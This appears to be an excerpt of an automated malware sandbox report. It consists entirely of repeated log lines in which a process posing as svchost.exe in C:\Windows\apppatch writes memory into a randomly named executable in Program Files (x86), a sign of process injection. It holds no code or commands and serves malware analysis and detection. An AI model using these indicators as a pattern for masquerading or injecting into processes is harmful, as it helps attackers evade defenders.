Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2282000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2150000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2151000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2152000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 21A2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F30000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F31000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F32000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F82000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 9F0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 9F1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 9F2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A42000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F20000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F21000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F22000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F72000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 15A0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 15A1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 15A2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 15F2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 26D0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 26D1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 26D2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2722000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DF0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DF1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DF2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: E42000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2740000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2741000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2742000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2792000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1070000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1071000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1072000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 10C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 29D0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 29D1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 29D2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2A22000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C30000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C31000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C32000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C82000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 11F0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 11F1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 11F2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1242000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 27C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 27C1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 27C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2812000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 28E0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 28E1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 28E2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2932000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DD0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DD1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DD2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: E22000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: EE0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: EE1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: EE2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: F32000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BF0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BF1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BF2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C42000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DC0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DC1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DC2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: E12000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1320000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1321000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1322000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1372000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 900000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 901000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 902000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 952000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B90000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B91000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B92000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BE2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1620000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1621000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1622000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1672000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 900000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 901000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 902000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 952000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 950000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 951000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 952000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 9A2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D40000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D41000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D42000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D92000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14A0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14A1000Jump to behavior
